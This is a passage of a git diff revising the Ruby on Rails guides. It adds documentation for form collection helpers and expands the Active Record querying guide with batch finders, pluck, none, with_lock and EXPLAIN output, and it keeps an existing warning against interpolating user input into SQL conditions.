to the current year @@ -1124,6 +1124,79 @@ If <tt>@post.author_id</tt> is 1, this would return: </select> </html> +h5. collection_radio_buttons + +Returns +radio_button+ tags for the collection of existing return values of +method+ for +object+'s class. + +Example object structure for use with this method: + +<ruby> +class Post < ActiveRecord::Base + belongs_to :author +end + +class Author < ActiveRecord::Base + has_many :posts + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +</ruby> + +Sample usage (selecting the associated Author for an instance of Post, +@post+): + +<ruby> +collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) +</ruby> + +If <tt>@post.author_id</tt> is 1, this would return: + +<html> +<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" /> +<label for="post_author_id_1">D. Heinemeier Hansson</label> +<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" /> +<label for="post_author_id_2">D. Thomas</label> +<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" /> +<label for="post_author_id_3">M. Clark</label> +</html> + +h5. collection_check_boxes + +Returns +check_box+ tags for the collection of existing return values of +method+ for +object+'s class. + +Example object structure for use with this method: + +<ruby> +class Post < ActiveRecord::Base + has_and_belongs_to_many :author +end + +class Author < ActiveRecord::Base + has_and_belongs_to_many :posts + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +</ruby> + +Sample usage (selecting the associated Authors for an instance of Post, +@post+): + +<ruby> +collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) +</ruby> + +If <tt>@post.author_ids</tt> is [1], this would return: + +<html> +<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" /> +<label for="post_author_ids_1">D. Heinemeier Hansson</label> +<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" /> +<label for="post_author_ids_2">D. Thomas</label> +<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" /> +<label for="post_author_ids_3">M. Clark</label> +<input name="post[author_ids][]" type="hidden" value="" /> +</html> + h5. country_options_for_select Returns a string of option tags for pretty much any country in the world. diff --git a/railties/guides/source/active_model_basics.textile b/railties/guides/source/active_model_basics.textile index 9c8ad24cee..98b3533000 100644 --- a/railties/guides/source/active_model_basics.textile +++ b/railties/guides/source/active_model_basics.textile @@ -56,7 +56,7 @@ class Person before_update :reset_me def update - _run_update_callbacks do + run_callbacks(:update) do # This will call when we are trying to call update on object. end end diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile index cab8c80866..487f8b70f9 100644 --- a/railties/guides/source/active_record_basics.textile +++ b/railties/guides/source/active_record_basics.textile @@ -38,47 +38,48 @@ When writing applications using other programming languages or frameworks, it ma h4. Naming Conventions -By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples: +By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples: -* Database Table - Plural with underscores separating words (e.g., book_clubs) -* Model Class - Singular with the first letter of each word capitalized (e.g., BookClub) +* Database Table - Plural with underscores separating words (e.g., +book_clubs+) +* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+) |_.Model / Class |_.Table / Schema | -|Post |posts| -|LineItem |line_items| -|Deer |deer| -|Mouse |mice| -|Person |people| +|+Post+ |+posts+| +|+LineItem+ |+line_items+| +|+Deer+ |+deer+| +|+Mouse+ |+mice+| +|+Person+ |+people+| h4. Schema Conventions Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns. -* *Foreign keys* - These fields should be named following the pattern table_id (e.g., item_id, order_id). These are the fields that Active Record will look for when you create associations between your models. -* *Primary keys* - By default, Active Record will use an integer column named "id" as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. +* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models. +* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. There are also some optional column names that will create additional features to Active Record instances: -* *created_at* - Automatically gets set to the current date and time when the record is first created. -* *created_on* - Automatically gets set to the current date when the record is first created. -* *updated_at* - Automatically gets set to the current date and time whenever the record is updated. -* *updated_on* - Automatically gets set to the current date whenever the record is updated. -* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model. -* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html -* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. +* +created_at+ - Automatically gets set to the current date and time when the record is first created. +* +created_on+ - Automatically gets set to the current date when the record is first created. +* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated. +* +updated_on+ - Automatically gets set to the current date whenever the record is updated. +* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model. +* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html +* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. -NOTE: While these column names are optional they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. +NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. h3. Creating Active Record Models -It's very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: +It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: <ruby> -class Product < ActiveRecord::Base; end +class Product < ActiveRecord::Base +end </ruby> -This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using an SQL sentence like: +This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like: <sql> CREATE TABLE products ( @@ -100,11 +101,11 @@ h3. Overriding the Naming Conventions What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions. -You can use the +ActiveRecord::Base.set_table_name+ method to specify the table name that should be used: +You can use the +ActiveRecord::Base.table_name=+ method to specify the table name that should be used: <ruby> class Product < ActiveRecord::Base - set_table_name "PRODUCT" + self.table_name = "PRODUCT" end </ruby> @@ -126,21 +127,21 @@ class Product < ActiveRecord::Base end </ruby> -h3. Reading and Writing Data +h3. CRUD: Reading and Writing Data CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables. h4. Create -Active Record objects can be created from a hash, a block or have its attributes manually set after creation. The _new_ method will return a new object while _create_ will return the object and save it to the database. +Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database. -For example, given a model +User+ with attributes of +name+ and +occupation+, the _create_ method call will create and save a new record into the database: +For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database: <ruby> user = User.create(:name => "David", :occupation => "Code Artist") </ruby> -Using the _new_ method, an object can be created without being saved: +Using the +new+ method, an object can be created without being saved: <ruby> user = User.new @@ -148,9 +149,9 @@ Using the _new_ method, an object can be created without being saved: user.occupation = "Code Artist" </ruby> -A call to _user.save_ will commit the record to the database. +A call to +user.save+ will commit the record to the database. -Finally, passing a block to either create or new will return a new User object: +Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization: <ruby> user = User.new do |u| @@ -164,7 +165,7 @@ h4. Read Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record. <ruby> - # return all records + # return array with all records users = User.all </ruby> diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile index 96f91cfef6..21bbc64255 100644 --- a/railties/guides/source/active_record_querying.textile +++ b/railties/guides/source/active_record_querying.textile @@ -8,12 +8,13 @@ This guide covers different ways to retrieve data from the database using Active * Use dynamic finders methods * Check for the existence of particular records * Perform various calculations on Active Record models +* Run EXPLAIN on relations endprologue. WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in other versions of Rails. -If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. +If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. Code examples throughout this guide will refer to one or more of the following models: @@ -69,28 +70,28 @@ The methods are: All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>. -Primary operation of <tt>Model.find(options)</tt> can be summarized as: +The primary operation of <tt>Model.find(options)</tt> can be summarized as: * Convert the supplied options to an equivalent SQL query. * Fire the SQL query and retrieve the corresponding results from the database. * Instantiate the equivalent Ruby object of the appropriate model for every resulting row. -* Run +after_find+ callbacks if any. +* Run +after_find+ callbacks, if any. h4. Retrieving a Single Object -Active Record lets you retrieve a single object using five different ways. +Active Record provides five different ways of retrieving a single object. h5. Using a Primary Key -Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example: +Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example: <ruby> # Find the client with primary key (id) 10. client = Client.find(10) -=> #<Client id: 10, first_name: => "Ryan"> +# => #<Client id: 10, first_name: "Ryan"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id = 10) @@ -100,14 +101,14 @@ SELECT * FROM clients WHERE (clients.id = 10) h5. +first+ -<tt>Model.first</tt> finds the first record matched by the supplied options. For example: +<tt>Model.first</tt> finds the first record matched by the supplied options, if any. For example: <ruby> client = Client.first -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -121,10 +122,10 @@ h5. +last+ <ruby> client = Client.last -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -138,10 +139,10 @@ h5(#first_1). +first!+ <ruby> client = Client.first! -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -155,10 +156,10 @@ h5(#last_1). +last!+ <ruby> client = Client.last! -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -170,15 +171,15 @@ h4. Retrieving Multiple Objects h5. Using Multiple Primary Keys -<tt>Model.find(array_of_primary_key)</tt> also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example: +<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example: <ruby> # Find the clients with primary keys 1 and 10. -client = Client.find(1, 10) # Or even Client.find([1, 10]) -=> [#<Client id: 1, first_name: => "Lifo">, #<Client id: 10, first_name: => "Ryan">] +client = Client.find([1, 10]) # Or even Client.find(1, 10) +# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">] </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id IN (1,10)) @@ -188,24 +189,26 @@ WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord:: h4. Retrieving Multiple Objects in Batches -Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc. +We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data. -The following may seem very straight forward at first: +This may appear straightforward: <ruby> -# Very inefficient when users table has thousands of rows. +# This is very inefficient when the users table has thousands of rows. User.all.each do |user| NewsLetter.weekly_deliver(user) end </ruby> -But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible. +But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available. -This is because +User.all.each+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory. +Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, +find_each+, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, +find_in_batches+, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models. + +TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option. h5. +find_each+ -To efficiently iterate over a large table, Active Record provides a batch finder method called +find_each+: +The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed: <ruby> User.find_each do |user| @@ -213,11 +216,15 @@ User.find_each do |user| end </ruby> -*Configuring the batch size* +h6. Options for +find_each+ + +The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+. + +Two additional options, +:batch_size+ and +:start+, are available as well. -Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option. +*+:batch_size+* -To fetch +User+ records in batch size of +5000+: +The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000: <ruby> User.find_each(:batch_size => 5000) do |user| @@ -225,34 +232,38 @@ User.find_each(:batch_size => 5000) do |user| end </ruby> -*Starting batch find from a specific primary key* +*+:start+* -Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint. +By default, records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint. -To send newsletters only to users with the primary key starting from +2000+: +For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000: <ruby> -User.find_each(:batch_size => 5000, :start => 2000) do |user| +User.find_each(:start => 2000, :batch_size => 5000) do |user| NewsLetter.weekly_deliver(user) end </ruby> -*Additional options* +Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker. -+find_each+ accepts the same options as the regular +find+ method. However, +:order+ and +:limit+ are needed internally and hence not allowed to be passed explicitly. +NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. h5. +find_in_batches+ -You can also work by chunks instead of row by row using +find_in_batches+. This method is analogous to +find_each+, but it yields arrays of models instead: +The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices: <ruby> -# Works in chunks of 1000 invoices at a time. +# Give add_invoices an array of 1000 invoices at a time Invoice.find_in_batches(:include => :invoice_lines) do |invoices| export.add_invoices(invoices) end </ruby> -The above will yield the supplied block with +1000+ invoices every time. +NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. + +h6. Options for +find_in_batches+ + +The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+. h3. Conditions @@ -266,7 +277,7 @@ WARNING: Building your own conditions as pure strings can leave you vulnerable t h4. Array Conditions -Now what if that number could vary, say as an argument from somewhere? The find then becomes something like: +Now what if that number could vary, say as an argument from somewhere? The find would then take the form: <ruby> Client.where("orders_count = ?", params[:orders]) @@ -274,7 +285,7 @@ Client.where("orders_count = ?", params[:orders]) Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element. -Or if you want to specify two conditions, you can do it like: +If you want to specify multiple conditions: <ruby> Client.where("orders_count = ? AND locked = ?", params[:orders], false) @@ -282,19 +293,19 @@ Client.where("orders_count = ? AND locked = ?", params[:orders], false) In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter. -The reason for doing code like: +This code is highly preferable: <ruby> Client.where("orders_count = ?", params[:orders]) </ruby> -instead of: +to this code: <ruby> Client.where("orders_count = #{params[:orders]}") </ruby> -is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection. @@ -393,6 +404,8 @@ Or ordering by multiple fields: <ruby> Client.order("orders_count ASC, created_at DESC") +# OR +Client.order("orders_count ASC", "created_at DESC") </ruby> h3. Selecting Specific Fields @@ -425,10 +438,26 @@ ActiveModel::MissingAttributeError: missing attribute: <attribute> Where +<attribute>+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly. -You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this: +If you would like to only grab a single record per unique value in a certain field, you can use +uniq+: + +<ruby> +Client.select(:name).uniq +</ruby> + +This would generate SQL like: + +<sql> +SELECT DISTINCT name FROM clients +</sql> + +You can also remove the uniqueness constraint: <ruby> -Client.select("DISTINCT(name)") +query = Client.select(:name).uniq +# => Returns unique names + +query.uniq(false) +# => Returns all names, even if there are duplicates </ruby> h3. Limit and Offset @@ -579,9 +608,33 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC This method accepts *no* arguments. +h3. Null Relation + +The +none+ method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results. + +<ruby> +Post.none # returns an empty Relation and fires no queries. +</ruby> + +<ruby> +# The visible_posts method below is expected to return a Relation. +@posts = current_user.visible_posts.where(:name => params[:name]) + +def visible_posts + case role + when 'Country Manager' + Post.where(:country => country) + when 'Reviewer' + Post.published + when 'Bad User' + Post.none # => returning [] or nil breaks the caller code in this case + end +end +</ruby> + h3. Readonly Objects -Active Record provides +readonly+ method on a relation to explicitly disallow modification or deletion of any of the returned object. Any attempt to alter or destroy a readonly record will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception. +Active Record provides +readonly+ method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception. <ruby> client = Client.readonly.first @@ -616,20 +669,18 @@ c1.first_name = "Michael" c1.save c2.name = "should fail" -c2.save # Raises a ActiveRecord::StaleObjectError +c2.save # Raises an ActiveRecord::StaleObjectError </ruby> You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict. -NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+. - This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>. -To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+: +To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class attribute called +locking_column+: <ruby> class Client < ActiveRecord::Base - set_locking_column :lock_client_column + self.locking_column = :lock_client_column end </ruby> @@ -665,6 +716,17 @@ Item.transaction do end </ruby> +If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code: + +<ruby> +item = Item.first +item.with_lock do + # This block is called within a transaction, + # item is already locked. + item.increment!(:views) +end +</ruby> + h3. Joining Tables Active Record provides a finder method called +joins+ for specifying +JOIN+ clauses on the resulting SQL. There are multiple ways to use the +joins+ method. @@ -731,7 +793,7 @@ SELECT categories.* FROM categories INNER JOIN posts ON posts.category_id = categories.id </sql> -Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:post).select("distinct(categories.id)"). +Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:post).select("distinct(categories.id)"). h5. Joining Multiple Associations @@ -911,14 +973,14 @@ end To call this +published+ scope we can call it on either the class: <ruby> -Post.published => [published posts] +Post.published # => [published posts] </ruby> Or on an association consisting of +Post+ objects: <ruby> category = Category.first -category.posts.published => [published posts belonging to this category] +category.posts.published # => [published posts belonging to this category] </ruby> h4. Working with times @@ -927,7 +989,7 @@ If you're working with dates or times within scopes, due to how they are evaluat <ruby> class Post < ActiveRecord::Base - scope :last_week, lambda { where("created_at < ?", Time.zone.now ) } + scope :created_before_now, lambda { where("created_at < ?", Time.zone.now ) } end </ruby> @@ -939,21 +1001,21 @@ When a +lambda+ is used for a +scope+, it can take arguments: <ruby> class Post < ActiveRecord::Base - scope :1_week_before, lambda { |time| where("created_at < ?", time) + scope :created_before, lambda { |time| where("created_at < ?", time) } end </ruby> This may then be called using this: <ruby> -Post.1_week_before(Time.zone.now) +Post.created_before(Time.zone.now) </ruby> However, this is just duplicating the functionality that would be provided to you by a class method. <ruby> class Post < ActiveRecord::Base - def self.1_week_before(time) + def self.created_before(time) where("created_at < ?", time) end end @@ -962,7 +1024,7 @@ end Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects: <ruby> -category.posts.1_week_before(time) +category.posts.created_before(time) </ruby> h4. Working with scopes @@ -1014,7 +1076,7 @@ You can also use +find_last_by_*+ methods which will find the last record matchi You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+ -If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+. +If you want to find both by name and locked, you can chain these finders together by simply typing "+and+" between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+. WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+. @@ -1030,7 +1092,7 @@ Suppose you want to find a client named 'Andy', and if there's none, create one <ruby> Client.where(:first_name => 'Andy').first_or_create(:locked => false) -# => <Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> +# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> </ruby> The SQL generated by this method looks like this: @@ -1119,6 +1181,30 @@ h3. +select_all+ Client.connection.select_all("SELECT * FROM clients WHERE id = '1'") </ruby> +h3. +pluck+ + +<tt>pluck</tt> can be used to query a single column from the underlying table of a model. It accepts a column name as argument and returns an array of values of the specified column with the corresponding data type. + +<ruby> +Client.where(:active => true).pluck(:id) +# SELECT id FROM clients WHERE active = 1 + +Client.uniq.pluck(:role) +# SELECT DISTINCT role FROM clients +</ruby> + ++pluck+ makes it possible to replace code like + +<ruby> +Client.select(:id).map { |c| c.id } +</ruby> + +with + +<ruby> +Client.pluck(:id) +</ruby> + h3. Existence of Objects If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+. @@ -1248,3 +1334,122 @@ Client.sum("orders_count") </ruby> For options, please see the parent section, "Calculations":#calculations. + +h3. Running EXPLAIN + +You can run EXPLAIN on the queries triggered by relations. For example, + +<ruby> +User.where(:id => 1).joins(:posts).explain +</ruby> + +may yield + +<plain> +EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1 +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus> +| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus> +| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | | +| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where | +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus> +2 rows in set (0.00 sec) +</plain> + +under MySQL. + +Active Record performs a pretty printing that emulates the one of the database +shells. So, the same query running with the PostgreSQL adapter would yield instead + +<plain> +EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1 + QUERY PLAN +------------------------------------------------------------------------------ + Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0) + Join Filter: (posts.user_id = users.id) + -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4) + Index Cond: (id = 1) + -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4) + Filter: (posts.user_id = 1) +(6 rows) +</plain> + +Eager loading may trigger more than one query under the hood, and some queries +may need the results of previous ones. Because of that, +explain+ actually +executes the query, and then asks for the query plans. For example, + +<ruby> +User.where(:id => 1).includes(:posts).explain +</ruby> + +yields + +<plain> +EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus> +| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus> +| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | | +<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus> +1 row in set (0.00 sec) + +EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1) +<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus> +| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus> +| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where | +<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus> +1 row in set (0.00 sec) +</plain> + +under MySQL. + +h4. Automatic EXPLAIN + +Active Record is able to run EXPLAIN automatically on slow queries and log its +output. This feature is controlled by the configuration parameter + +<ruby> +config.active_record.auto_explain_threshold_in_seconds +</ruby> + +If set to a number, any query exceeding those many seconds will have its EXPLAIN +automatically triggered and logged. In the case of relations, the threshold is +compared to the total time needed to fetch records. So, a relation is seen as a +unit of work, no matter whether the implementation of eager loading involves +several queries under the hood. + +A threshold of +nil+ disables automatic EXPLAINs. + +The default threshold in development mode is 0.5 seconds, and +nil+ in test and +production modes. + +INFO. Automatic EXPLAIN gets disabled if Active Record has no logger, regardless +of the value of the threshold. + +h5. Disabling Automatic EXPLAIN + +Automatic EXPLAIN can be selectively silenced with +ActiveRecord::Base.silence_auto_explain+: + +<ruby> +ActiveRecord::Base.silence_auto_explain do + # no automatic EXPLAIN is triggered here +end +</ruby> + +That may be useful for queries you know are slow but fine, like a heavyweight +report of an admin interface. + +As its name suggests, +silence_auto_explain+ only silences automatic EXPLAINs. +Explicit calls to +ActiveRecord::Relation#explain+ run. + +h4. Interpreting EXPLAIN + +Interpretation of the output of EXPLAIN is beyond the scope of this guide. The +following pointers may be helpful: + +* SQLite3: "EXPLAIN QUERY PLAN":http://www.sqlite.org/eqp.html + +* MySQL: "EXPLAIN Output Format":http://dev.mysql.com/doc/refman/5.6/en/explain-output.html + +* PostgreSQL: "Using 